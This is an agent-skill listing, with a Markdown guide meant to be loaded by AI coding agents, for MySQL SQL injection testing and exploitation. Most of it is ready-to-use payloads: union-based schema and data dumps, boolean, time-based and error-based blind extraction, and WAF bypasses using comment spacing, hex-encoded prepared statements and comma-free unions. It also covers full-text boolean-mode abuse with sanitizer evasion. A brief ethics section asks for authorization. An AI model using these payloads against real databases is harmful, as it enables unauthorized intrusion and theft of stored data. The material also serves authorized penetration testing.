# Mysql Injection

> MySQL SQL injection testing and exploitation. Use this skill whenever the user mentions SQL injection, MySQL database testing, database enumeration, WAF bypass, blind injection, union-based injection, error-based injection, or any database security testing against MySQL. Trigger for penetration testing, vulnerability assessment, or security research involving MySQL databases.

- Skill: `abelrguezr/mysql-injection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/mysql-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/mysql-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/mysql-injection

---


# MySQL Injection Testing

A comprehensive guide for MySQL SQL injection testing, enumeration, and exploitation.

## Quick Start

When testing for MySQL injection vulnerabilities, follow this workflow:

1. **Confirm MySQL** - Use version detection functions
2. **Determine injection type** - Error-based, blind, union-based, or time-based
3. **Enumerate database** - Get tables, columns, and data
4. **Extract data** - Use appropriate exfiltration technique
5. **Bypass WAF** - Apply evasion techniques if needed

## Confirm MySQL Database

Use these functions to confirm you're working with MySQL:

```sql
-- Basic confirmation
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```

## Comments and Syntax

MySQL supports multiple comment styles for payload construction:

```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```

## Detect Number of Columns

Use ORDER BY or UNION to determine column count:

```sql
-- ORDER BY method
order by 1
order by 2
order by 3
-- Continue until error

-- UNION method
UniOn Select 1
UniOn Select 1,2
UniOn Select 1,2,3
-- Continue until column count matches
```

## Union-Based Injection

Once you know the column count, use UNION to extract data:

```sql
-- Get all databases
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata

-- Get tables from current database
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=database()

-- Get columns from specific table
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name='<TABLE_NAME>'

-- Extract data from table
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+<TABLE_NAME>
```

## Blind Injection Techniques

### Boolean-Based Blind

Test conditions that return true/false:

```sql
-- Character by character extraction
substr(version(),X,1)='r'
substring(version(),X,1)=0x70
ascii(substr(version(),X,1))=112
mid(version(),X,1)='5'

-- String comparison
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
```

### Time-Based Blind

Use SLEEP or BENCHMARK for timing oracles:

```sql
-- Simple sleep
SLEEP(5)

-- Conditional sleep
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))

-- Version detection with timing
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))
```

### Error-Based Exfiltration

Extract data through error messages:

```sql
-- UPDATXML error-based
updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null)

-- Extract character by character with LIMIT/OFFSET
updatexml(null, concat(0x7e, (SELECT SUBSTRING(version(),1,1)), 0x7e), null)
```

## Database Enumeration Flow

```sql
-- Get all tables in current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();

-- Get columns from specific table
SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';

-- Extract data
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>;

-- Find users with file privileges
SELECT user FROM mysql.user WHERE file_priv='Y';
```

### Modern MySQL Alternatives

For newer MySQL versions, use these alternatives to bypass WAFs:

```sql
-- Instead of information_schema.tables
mysql.innodb_table_stats
sys.x$schema_flattened_keys
sys.schema_table_statistics
```

## WAF Bypass Techniques

### Space Removal with Comments

Use `/**/` to replace spaces (MySQL treats it as whitespace):

```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'```

This becomes: `' OR SLEEP(5)-- -'`

### Prepared Statement Bypass

Execute queries through prepared statements to bypass WAFs:

```sql
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```

### Injection Without Commas

```sql
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```

### Retrieving Values Without Column Names

```sql
-- Determine column count
select (select "", "") = (SELECT * from demo limit 1);     -- 2 columns
select (select "", "", "") < (SELECT * from demo limit 1); -- 3 columns

-- Brute force content character by character
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```

## Full-Text Search Boolean Mode Abuse

When applications use `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, you can abuse Boolean operators:

### Operators Available

- `+` - Must include
- `-` - Must not include
- `*` - Trailing wildcard
- `"..."` - Exact phrase
- `()` - Grouping
- `<`/`>`/`~` - Weights

### Exploitation Pattern

```sql
-- Check for terms starting with prefix
AGAINST('+admin*' IN BOOLEAN MODE)

-- URL-encoded payload template
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
```

### Enumeration Workflow

1. Test `{FUZZ} = a…z,0…9` with `+a*`, `+b*`, etc.
2. For positive prefixes, branch: `a* → aa* / ab* / …`
3. Repeat to recover full strings
4. Treat redirects as "match", error pages as "no match"

### Sanitizer Bypass

- **Boundary-trim preserving**: Submit `prefix*ZZ` - cleaner trims `ZZ` but leaves `*`
- **Early-break stripping**: Send `&&&&& +jack*ZZ` - first token meets length threshold, second carries payload

## Useful Functions Reference

```sql
-- Encoding/decoding
SELECT hex(database())
SELECT conv(hex(database()),16,10)  -- Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')
SELECT uncompress(compress(database()))

-- String manipulation
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114

-- Aggregation
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)

-- Comparison and position
strcmp(),mid(),ldap(),rdap(),left(),right(),instr(),sleep()
```

## Version Detection Alternatives

```sql
select @@innodb_version;
select @@version;
select version();
```

## MySQL History

View executed queries:

```sql
SELECT * FROM sys.x$statement_analysis;
```

## Important Notes

1. **Prepared statements don't protect** against semantic abuse of REGEXP or search operators
2. **Boolean mode abuse** works even with prepared statements - operators are evaluated inside quotes
3. **WAF bypass** often requires combining multiple techniques
4. **Timing attacks** are reliable when other methods are blocked
5. **Error messages** can leak data even in "boolean" test scenarios

## Safety and Ethics

- Only test systems you have explicit authorization to test
- Document all findings for responsible disclosure
- Use these techniques for security research and authorized penetration testing only
- Be aware of legal implications in your jurisdiction

## References

- [PayloadsAllTheThings – MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
- [The Ultimate SQL Injection Payload](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
- [Blind SQL Injection Without Column Names](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)

